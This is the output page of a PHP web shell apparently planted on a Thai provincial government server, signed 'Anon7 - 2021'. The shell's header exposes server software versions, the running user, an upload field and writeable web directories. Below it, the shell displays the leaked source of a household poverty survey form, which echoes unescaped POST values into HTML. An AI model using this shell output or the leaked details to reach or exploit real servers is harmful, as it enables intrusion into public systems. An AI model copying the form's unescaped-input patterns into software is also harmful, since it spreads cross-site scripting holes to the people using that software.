MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/images_sys/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/images_sys/page2.php
<script>
<!-- 
function checkQuantity(MyID, maxValue){
	var q = document.getElementById(MyID);
	if(parseInt(q.value)>maxValue){
		alert("กรุณาตรวจสอบตัวเลขที่กรอก\nตัวเลขอาจเกินกว่าความเป็นจริง");
	}
}
function open_win(win_file, win_title)
{
window.open(win_file, win_title, 'resizable=yes,width=900,height=500,toolbar=no,scrollbars=yes,location=no,menubar=no,status=no');
}



-->
</script>
<SCRIPT LANGUAGE="JavaScript">
  var xmlHttp;
function createXMLHttpRequest() {
    if (window.ActiveXObject) {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    else if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
  	  }
	}
	
function handleStateChange() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
            updateproductList();
        }
    }
}

function updateproductList() {
    clearproductList();
    var department = document.getElementById("alleg_department");
    var results = xmlHttp.responseText;
    var option = null;
    p=results.split(",");
	       option = document.createElement("option");
		   option.setAttribute("value",0);
           option.appendChild(document.createTextNode("ไม่ระบุ"));
           department.appendChild(option);
    for (var i = 0; i < p.length; i++){
	if(p[i] > ""){
			x = p[i].split("::");
           option = document.createElement("option");
		   option.setAttribute("value",x[1]);
           option.appendChild(document.createTextNode(x[0]));
           department.appendChild(option);
	}
    }
}
	function clearproductList() {
    var department = document.getElementById("alleg_department");
    while(department.childNodes.length > 0) {
              department.removeChild(department.childNodes[0]);
    }
}

function refreshproductList() {
   var ministry = document.getElementById("alleg_ministry").value;
    if(ministry == "" ) {
        clearproductList();
        return;
		}
    var url = "ajax_minitry.php?ministry_id=" + ministry;
    createXMLHttpRequest();
    xmlHttp.onreadystatechange = handleStateChange;
    xmlHttp.open("GET", url, true);
    xmlHttp.send(null);
}  

function ShowAmphur(name,value){
var obj = window.document.getElementsByName(name)[0];
if (obj){
obj.value = value;
}
}


var gFiles = 0;
function addFile() {
var subS = "คำอธิบายไฟล์ : ";
var subS1 = " ไฟล์แนบ : ";
var li = document.createElement('li');
li.setAttribute('id', 'file-' + gFiles);
li.innerHTML = '<input type="text" name="note_file[]" size="30"><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"> <img src=images/profile_expanded.gif border=0></span>';
document.getElementById('files-root').appendChild(li);
gFiles++;
}

var gFiles = 0;
function addFile1() {
var subS = "คำอธิบายไฟล์ : ";
var subS1 = " ไฟล์แนบ : ";
var li = document.createElement('li');
li.setAttribute('id', 'file-' + gFiles);
li.innerHTML = '<textarea name="textarea2" id="textarea2" cols="60" rows="3"></textarea><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;"> <img src=images/profile_expanded.gif border=0></span>';
document.getElementById('files-root1').appendChild(li);
gFiles++;
}


function removeFile(aId){
var obj = document.getElementById(aId);
obj.parentNode.removeChild(obj);
}

/// function check เลขบัตร
function checkID(id) { 
	if(id.length != 13) return false; 
		for(i=0, sum=0; i < 12; i++) 
		sum += parseFloat(id.charAt(i))*(13-i); 
		if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false; 
		return true; 
} 
// end function check เลขบัตร




	function CheckForm(){
	var type_u = document.getElementById("type_user").value;
	// alert (document.form.type_problem.value);

	if(document.form.type_problem.value == "6"){
			if(document.form.problem_comment.value == ""){
				alert(" ! กรุณาระบุรายละเอียดเรื่องร้องเรียน ");
				document.form.problem_comment.focus();
				return false;			
			}				
		}
	if(document.form.type_process.value == "5"){
			if(document.form.process_comment.value == ""){
				alert(" ! กรุณาระบุรายละเอียดการดำเนินการที่ต้องการ ");
				document.form.process_comment.focus();
				return false;			
			}	
		}	

		if(document.form.public_name.value == ""){
			alert(" !กรุณาระบุชื่อ - สกุล ผู้ถูกร้องเรียน");
			document.form.public_name.focus();
			return false;

		}else if(document.form.type_problem.value == ""){
			alert(" !กรุณาระบุประเภทเรื่องร้องเรียน ");
			document.form.type_problem.focus();
			return false;

		}else if(document.form.complain_detail.value == ""){
			alert(" !กรุณาระบุข้อกล่าวหา / ข้อร้องเรียน");
			document.form.complain_detail.focus();
			return false;			
		}else if(document.form.type_process.value == ""){
			alert(" !กรุณาระบุประเภทดำเนินการ ");
			document.form.type_process.focus();
			return false;				
		}else{
			if(type_u != "gov"){
				if(document.form.public_name.value == ""){
					alert(" ! กรุณาระบุชื่อของท่านด้วยครับ");
					document.form.public_name.focus();
					return false;
				}else if(!checkID(document.form.public_idcard.value)){
					alert(" ! เลขบัตรประจำตัวของท่านไม่ถูกต้องตามกรมการปกครอง กรุณาระบุใหม่อีกครั้ง");
					document.form.public_idcard.focus();
					return false;
				}else if(document.form.char_code.value == ""){
					alert(" !กรุณาระบุรหัสภาพ");
					document.form.char_code.focus();
					return false;
				}
			}else{
			return true;
			}
		}		
	}
	

</SCRIPT>
<?php /*?><style type="text/css">
<!--
.style2 {font-size: 12px}
//.style5 {font-size: 12px; font-weight: bold; font-family: Arial, Helvetica, sans-serif; }
.style4 {font-family: Arial, Helvetica, sans-serif}
.style5 {font-family: Verdana, Arial, Helvetica, sans-serif}
-->
</style><?php */?>
<table width="100%" border="0" cellspacing="5" cellpadding="0">
  <tr>
    <td><table width="100%" border="0" cellpadding="3" cellspacing="1" >
      

		  
		
        <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">1 </div></TD>
          <TD align="right" valign="top" ><div align="left" class="style5" >สถานะที่อยู่อาศัยที่ผ่านมา   &nbsp;</div>                         </TD>
          <TD align="left" valign="top"  > บ้านเดิมอยู่ที่:
              <input type="text" name="lived" id="lived" value="<?=($_POST['lived']=='')?$Result_4['ban_old']:$_POST['lived']?>"  /></TD>
            <TD colspan="2" align="left" valign="top"   >อยู่ชุมชนนี้มาแล้ว:
              <input type="text" name="time_ago" id="time_ago" size="5" value="<?=($_POST['time_ago']=='')?$Result_4['lived']:$_POST['time_ago']?>" onblur="return checkNumber(this,document.getElementById('time_id'));"/><span id="time_id"></span>
              ปี</TD>
        </TR>
            <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">2 </div></TD>
              <TD width="28%" align="right" valign="top"  ><div align="left" class="style5">ปัจจุบันอาศัยอยู่ในที่ดินของ</div></TD>
  <TD align="left" valign="top"  >
                    <select name="area" id="area" onChange='setVisibility5(this)' >
            <option value="">เลือกประเภทที่ดินที่อยู่อาศัย</option>
            <?php   $slted= $Result_4['type_area'];
					$am = mysql_query("SELECT * FROM pauper_surway_live ");
					while( $ram = mysql_fetch_array($am) ) {
					
					if($ram['live_id']==$slted){ ?>
					   <option value="<?=$ram['live_id']?>"selected><?=$ram['type_live']?></option>;		
					<?		}else{	?>	
					  <option value="<?=$ram['live_id']?>"><?=$ram['type_live']?></option>;	
					<?		
					}
					}
					?>
          </select>         </TD>
                  <TD align="left" valign="top"  > <div id='show_comment5' style="display:none">ระบุ:
            <select name="detail_area" id="detail_area"  >
            <option value="">เลือกประเภทเจ้าของที่ดิน</option>
            <?php   $slted1= $Result_4['detail_area'];
					$am1 = mysql_query("SELECT * FROM pauper_land_type ");
					while( $ram1 = mysql_fetch_array($am1) ) {
					
					if($ram1['type_id']==$slted1){ ?>
					   <option value="<?=$ram1['type_id']?>"selected><?=$ram1['type_name']?></option>;		
					<?		}else{	?>	
					  <option value="<?=$ram1['type_id']?>"><?=$ram1['type_name']?></option>;	
					<?		
					}
					}
					?>
          </select>    
                  
                  
                  
                  
              </div></TD>
                  <TD width="19%" align="left"  valign="top">&nbsp;</TD>
        </TR>
         
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">3 </div></TD>
               <TD width="28%" align="left" valign="top"  ><span class="style5">บ้านที่อยู่อาศัยเป็นของ</span></TD>
      <TD width="30%" align="สำดะ" valign="top"  >
      <select name="home_m" id="home_m" onChange='setVisibility4(this)' >
            <option value="">เลือกประเภทของบ้านที่อยู่อาศัย</option>
            <?php   $slted= $Result_4['type_id'];
					$am = mysql_query("SELECT * FROM pauper_surway_home ");
					while( $ram = mysql_fetch_array($am) ) {
					if($ram['home_id']==$slted){ ?>
							 <option value=" <?=$ram['home_id']?> " selected> <?=$ram['type_home']?> </option>;
                   <?		}else{	?>	
					  <option value="<?=$ram['home_id']?>"><?=$ram['type_home']?></option>;	
					<?		
					}
					}
					?>
          </select>      </TD>
<TD width="21%" align="left" valign="top"  ><div id='show_comment4' style="display:none">ระบุ:
				 <input type="text" name="detail_home" id="detail_home" size="19"value="<?=($_POST['detail_home']=='')?$Result_4['area_by']:$_POST['detail_home']?>"/>
			</div></TD>
  <TD align="left" ><LABEL></LABEL></TD>
            </TR>
            
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">4</div></TD>
               <TD width="28%" align="left" valign="top"  ><span class="style5">บ้านอยู่อาศัย มีขนาดพื้นที่รวมประมาณ</span></TD>
<TD colspan="3" align="left" valign="top"  ><input type="text" name="sum_area" id="sum_area"  value="<?=($_POST['sum_area']=='')?$Result_4['sum_area']:$_POST['sum_area']?>" onblur="return checkNumber(this,document.getElementById('sum_area_id'));"/><span id="sum_area_id"></span>
                   ตารางเมตร </TD>
            </TR>
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">5</div></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">ลักษณะบ้านเป็น</span></TD>
            <TD width="30%" align="left" valign="top"  ><select name="type_home" id="type_home"  value="<?=($_POST['type_home']=='')?$Result_4['type_home']:$_POST['type_home']?>" onChange='setVisibility3(this)' >
            
              <option>ระบุลักษณะบ้าน</option>
              <option value="บ้านเดี่ยวชั้นเดียว">บ้านเดี่ยวชั้นเดียว</option>
              <option value="บ้านสองชั้น">บ้านสองชั้น</option>
              <option value="อื่นๆ" selected="selected">อื่นๆ</option>
            </select>             </TD>
<TD width="21%" align="left" valign="top"  ><div id='show_comment3' style="display:none">ระบุ:
				 <input type="text" name="detail" id="detail" size="19"value="<?=($_POST['detail']=='')?$Result_4['detail']:$_POST['detail']?>"  />
			</div></TD>
         <TD align="left" ></TD>
            </TR>
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">6</div></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">การมีทะเบียนบ้าน</span></TD>
      <TD width="30%" align="left" valign="top"  ><select name="census" id="census"  value="<?=($_POST['census']=='')?$Result_4['census']:$_POST['census']?>" onChange='setVisibility2(this)' >
        <option selected="selected">ระบุการมีทะเบียนบ้าน</option>
        <option value="มีทะเบียนบ้านของตนเองในชุมชน">มีทะเบียนบ้านของตนเองในชุมชน</option>
        <option value="มีทะเบียนบ้านของตนเองอยู่ที่">มีทะเบียนบ้านของตนเองอยู่ที่</option>
        <option value="อาศัยทะเบียนผู้อื่นอยู่ที่">อาศัยทะเบียนผู้อื่นอยู่ที่</option>
        <option value="ไม่มีทะเบียนบ้าน">ไม่มีทะเบียนบ้าน</option>
      </select></TD>
      <TD colspan="2" align="left" valign="top"  > <div id='show_comment2' style="display:none">อยู่ที่:
				 <input type="text" name="detail_census" id="detail_census" size="19"value="<?=($_POST['detail_census']=='')?$Result_4['detail_census']:$_POST['detail_census']?>"  />
			</div>
        </TD>
            </TR>
             
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">7</div></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">การใช้จ่ายน้ำ</span></TD>
               <TD width="30%" align="left" valign="top"  >จ่ายเดือนละ
               <input type="text" name="sum_water" size="10" id="sum_water" value="<?=($_POST['sum_water']=='')?$Result_4['bill_water']:$_POST['sum_water']?>" onblur="return checkNumber(this,document.getElementById('sum_water_id'));"/><span id="sum_water_id"></span> 
                  บาท</TD>
               <TD colspan="2" align="left" valign="top"  >&nbsp;</TD>
            </TR>
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">8</div></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">ใช้น้ำจาก</span></TD>
            <TD width="30%" align="left" valign="top"  ><select name="water_from" id="water_from" value="<?=($_POST['water_from']=='')?$Result_4['water_from']:$_POST['water_from']?>"  onChange='setVisibility(this)' > 
              <option selected="selected">เลือกแหล่งน้ำ</option>
              <option value="ซื้อเป็นโอ่ง/ถัง/รถ">ซื้อเป็นโอ่ง/ถัง/รถ</option>
              <option value="ใช้น้ำธรรมชาติ เช่นน้ำบ่อ น้ำคลอง">ใช้น้ำธรรมชาติ เช่นน้ำบ่อ น้ำคลอง</option>
              <option value="ต่อมิเตอร์ย่อยจากบ้านอื่น">ต่อมิเตอร์ย่อยจากบ้านอื่น</option>
              <option value="มีมิเตอร์เอง">มีมิเตอร์เอง</option>
              <option value="อื่นๆระบุ">อื่นๆระบุ</option>
            </select>             </TD>
<TD width="21%" align="left" valign="top"  > <div id='show_comment' style="display:none">&nbsp;หมายเหตุ:
				 <input type="text" name="detail_water" id="detail_water" size="19"value="<?=($_POST['detail_water']=='')?$Result_4['detail_water_from']:$_POST['detail_water']?>"  />
			</div></TD>
               <TD align="left" ><LABEL></LABEL></TD>
            </TR>
             <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">9</div></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">การใช้ไฟจ่ายค่าไฟเดือนละ</span></TD>
<TD colspan="3" align="left" valign="top"  ><input type="text" size="10" name="sum_elect" id="sum_elect"  value="<?=($_POST['sum_elect']=='')?$Result_4['electricity_bill']:$_POST['sum_elect']?>" onblur="return checkNumber(this,document.getElementById('sum_elect_id'));"/><span id="sum_elect_id"></span>  
                  บาท
               <LABEL></LABEL></TD>
        </TR>
             <TR>
                  <TD width="2%" align="center" valign="top"  ><span class="style5">10</span></TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">ใช้ไฟจาก</span></TD>
            <TD width="30%" align="left" valign="top"  ><select name="elect_from" id="elect_from" value="<?=($_POST['elect_from']=='')?$Result_4['electricity_from']:$_POST['elect_from']?>"  onChange='setVisibility1(this)' >
              <option>เลือกใช้ไฟจาก</option>
              <option value="ต่อมิเตอร์ย่อยจากบ้านอื่น">ต่อมิเตอร์ย่อยจากบ้านอื่น</option>
              <option value="มีมิเตอร์เอง">มีมิเตอร์เอง</option>
              <option value="อื่นๆระบุ">อื่นๆระบุ</option>
            </select>            </TD>
<TD width="21%" align="left" valign="top"  > <div id='show_comment1' style="display:none">&nbsp;หมายเหตุ:
				 <input type="text" name="detail_elect_from" id="detail_elect_from" size="19"value="<?=($_POST['detail_elect_from']=='')?$Result_4['detail_elect_from']:$_POST['detail_elect_from']?>"  />
			</div></TD>
         <TD align="left" ><LABEL></LABEL></TD>
            </TR>
            <TR>
                  <TD width="2%" align="center" valign="top"  ><span class="style5">11</span></TD>
              <TD width="28%" align="left" valign="top"  ><span class="style5">ครอบครัวท่านมีรายได้รวม</span></TD>
        <TD width="30%" align="left" valign="top"  ><input type="text" size="10" name="salary" id="salary" value="<?=($_POST['salary']=='')?$Result_4['salary']:$_POST['salary']?>"  onblur="return checkNumber(this,document.getElementById('salary_id'));"/><span id="salary_id"></span>                  
          บาท</TD>
          <TD width="21%" align="left" valign="top"  >เหลือเก็บ
            <input type="text" name="remain" id="remain" size="10" value="<?=($_POST['remain']=='')?$Result_4['remain']:$_POST['remain']?>"onblur="return checkNumber(this,document.getElementById('remain_id'));"/><span id="remain_id"></span>
            บาท/เดือน</TD>
<TD align="left"   valign="top" >
                 เงินออม รวม
               <input type="text" name="save" id="save" size="10" value="<?=($_POST['save']=='')?$Result_4['save']:$_POST['save']?>" >
               บาท</TD>
            </TR>
            <TR>
                  <TD width="2%" align="right" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
             <TD width="28%" align="left" valign="top"  ><span class="style5">มีรายจ่ายรวม</span></TD>
        <TD width="30%" align="left" valign="top"  ><input type="text" size="10" name="expense" id="expense" value="<?=($_POST['expense']=='')?$Result_4['expense']:$_POST['expense']?>"onblur="return checkNumber(this,document.getElementById('expense_id'));"/><span id="expense_id"></span>                  
          บาท/เดือน</TD>
              <TD width="21%" align="left" valign="top"  >มีหนี้สินรวม
        <input type="text" name="debt" id="debt" size="10" value="<?=($_POST['debt']=='')?$Result_4['debt']:$_POST['debt']?>" onblur="return checkNumber(this,document.getElementById('debt'));"/><span id="dept"></span>
                  บาท</TD>
              <TD align="left" ><LABEL></LABEL></TD>
            </TR>
              <TR>
                  <TD width="2%" align="center" valign="top"  ><span class="style5">12</span></TD>
                <TD width="28%" align="left" valign="top"  ><span class="style5">ค่าใช้จ่ายด้านที่อยู่ของครอบครัวในปัจจุบัน</span></TD>
                <TD width="30%" align="left" valign="top"  >รวม
                  <input type="text" size="10" name="expense_home" id="expense_home" value="<?=($_POST['expense_home']=='')?$Result_4['debt']:$_POST['expense_home']?>" />
                  บาท/เดือน</TD>
                <TD colspan="2" align="left" valign="top"  >&nbsp;</TD>
            </TR>
              <TR>
                  <TD width="2%" align="right" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
             <TD width="28%" align="left" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
                <TD width="30%" align="left" valign="top"  ><input type="checkbox" name="detail1" id="detail1" value="1">
                  ค่าเช่าบ้าน
                  <input type="text" name="detail_sum1" id="detail_sum1" size="10"onblur="return checkNumber(this,document.getElementById('detail_sum_id'));"/><span id="detail_sum_id"></span>
                  บาท/เดือน</TD>
                <TD colspan="2" align="left" valign="top"  ><input type="checkbox" name="detail2" id="detail2"  value="1"onblur="return checkNumber(this,document.getElementById('detail_id'));"/><span id="detail_id"></span>
                  ค่าเช่าที่ดิน
                    <input type="text" name="detail_sum2" id="detail_sum2" size="10"onblur="return checkNumber(this,document.getElementById('detail_sum2_id'));"/><span id="detail_sum2_id"></span>
                  บาท
                  <LABEL>/เดือน สัญญาเช่า 
                  <input type="text" name="yy" id="yy" size="4" onblur="return checkNumber(this,document.getElementById('yy_id'));"/><span id="yy_id"></span>
ปี                  </LABEL></TD>
            </TR>
              <TR>
                  <TD width="2%" align="right" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
             <TD width="28%" align="left" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
                <TD width="30%" align="left" valign="top"  ><input type="checkbox" name="detail3" id="detail3" value="1">
                  ค่าเช่าซื้อที่ดิน
                    <input type="text" name="detail_sum3" id="detail_sum3" size="10"onblur="return checkNumber(this,document.getElementById('detail_sum3_id'));"/><span id="detail_sum3_id"></span>
                  บาท/เดือน</TD>
                <TD colspan="2" align="left" valign="top"  ><input type="checkbox" name="detail4" id="detail4" value="1">
                  ค่าเช่าซื้อบ้าน
                    <input type="text" name="detail_sum4" id="detail_sum4" size="10"onblur="return checkNumber(this,document.getElementById('detail_sum4_id'));"/><span id="detail_sum4_id"></span>
                  บาท
                  <LABEL>/เดือน</LABEL></TD>
            </TR>
               <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">13</div></TD>
                 <TD width="28%" align="left" valign="top"  ><span class="style5">ผู้นำชุมชน</span></TD>
                <TD width="30%" align="left" valign="top"  ><SPAN style="cursor:pointer;" onClick="addFile()">เพิ่มข้อมูล <IMG src="../../images_sys/icon.plus.gif" border="0"  width="18" height="12"></SPAN>
                 <ol id="files-root"></ol>					</TD><TD align="left" valign="top"  ><LABEL></LABEL></TD>
                  <TD align="left" valign="top"  >&nbsp;</TD>
            </TR>
               <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">14</div></TD>
             <TD colspan="4" align="left" valign="top"  ><span class="style5">ต้องการให้ชุมชนพัฒนา ปรับปรุงเปลี่ยนแปลงให้ดีขึ้นในเรื่อง</span></TD>
    </TR>
            <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center"></div></TD>
              <TD width="28%" align="left" valign="top"  class="style4 style2 link_back">&nbsp;</TD>
<TD colspan="3" align="left" valign="top"  ><SPAN style="cursor:pointer;" onClick="addFile1()">เพิ่มข้อมูล  <IMG src="../../images_sys/icon.plus.gif" border="0" width="18" height="12"></SPAN>
                    <ol id="files-root1"></ol>			</TD>
        </TR>
             
            <TR>
                  <TD width="2%" align="right" valign="top"  ><div align="center" class="style5">15</div></TD>
              <TD colspan="3" align="left" valign="top"  ><span class="style5">ต้องการสร้างความมั่นคงของการอยู่อาศัยของชุมชน     
                    <select name="stable" id="stable">
                      <option value="">เลือกประเภทความมั่นคงของการอยู่อาศัย</option>
                      <?php   $slted= $Result_4['stable_id'];
					$am3 = mysql_query("SELECT *  FROM pauper_surway_stable ");
					while( $ram3 = mysql_fetch_array($am3) ) {
							if($ram3['stable_id']==$slted){ ?>
                      <option value="<?=$ram3['stable_id']?>"selected>
                      <?=$ram3['detail_stable']?>
                      </option>
                      ;		
					
                      <?		}else{	?>	
                       <option value="<?=$ram3['stable_id']?>">
                       <?=$ram3['detail_stable']?>
                      </option>
                      ;	
					
                      <?		
					}
					}
					?>
                    </select>
                    <LABEL id="lblAmphur"></LABEL>
              </strong>
              <?php /*?>< INPUT name="public_amphur" type="text" id="public_amphur" size="30" value="<?=$rse[public_amphur]?>"><?php */?>
              </span></TD>
         	
              <TD align="left" valign="top"  >&nbsp;</TD>
            </TR>
            <TR>
                  <TD width="2%" height="25" align="center" valign="top"  ><span class="style5">16</span></TD>
              <TD width="28%" align="left" valign="top"  ><span class="style5">ต้องการความมั่นคงในที่ดิน                  </span></TD>
              <TD colspan="3" align="left" valign="top"  ><select name="stable_id" id="stable_id">
            <option value="">เลือกประเภทความมั่นคงในที่ดิน</option>
            <?php   $slted= $Result_4['land_id']; 
					$am4 = mysql_query("SELECT *  FROM pauper_surway_land ");
					while( $ram4= mysql_fetch_array($am4) ) {
							if($ram4['land_id']==$slted){ ?>
					   <option value="<?=$ram4['land_id']?>"selected><?=$ram4['detail_land']?></option>;		
					<?		}else{	?>	
					  <option value="<?=$ram4['land_id']?>"><?=$ram4['detail_land']?></option>;	
					<?		
					}
					}?>
          </select></TD>
            </TR>
            <TR>
                  <TD width="2%" height="68" align="right" valign="top"  ><div align="center" class="style5">17</div></TD>
              <TD width="28%" align="left" valign="top"  ><span class="style5">ครอบครัวของท่านลงทะเบียนคนจนหรือไม่</span></TD>
<TD colspan="3" align="left" valign="top"  ><p>
                    <input type="radio" name="regis" id="regis" value="ได้ไปลงทะเบียน" />
                    ไปลงทะเบียน 
                    เพราะ
                    <select name="regis" id="regis" >
                      <option selected="selected">ระบุรายละเอียด</option>
                      <option value="เรื่องที่อยู่อาศัย">เรื่องที่อยู่อาศัย</option>
                      <option value="เรื่องหนี้สิน">เรื่องหนี้สิน</option>
                      <option value="เรื่องอาชีพ">เรื่องอาชีพ</option>
                      <option value="เดือดร้อนเรื่องอื่นๆ">เดือดร้อนเรื่องอื่นๆ</option>
                    </select>
          </p>
    <p>
      <input type="radio" name="regis" id="radio2" value="ไม่ลงทะเบียน" />
      ไม่ลงทะเบียน
      เพราะ
      <select name="select" id="select">
        <option selected="selected">ระบุรายละเอียด</option>
        <option value="ไม่เดือดร้อน">ไม่เดือดร้อน</option>
        <option value="อยู่ระหว่างการแก้ปัญหาอยู่แล้ว">อยู่ระหว่างการแก้ปัญหาอยู่แล้ว</option>
        <option value="ไม่รู้ข้อมูล">ไม่รู้ข้อมูล</option>
        <option value="ไม่เชื่อว่าจะแก้ปัญหาได้">ไม่เชื่อว่าจะแก้ปัญหาได้</option>
      </select>
    </p>              </TD>
            </TR>
      
    </table></td>
  </tr>
</table>

Anon7 - 2021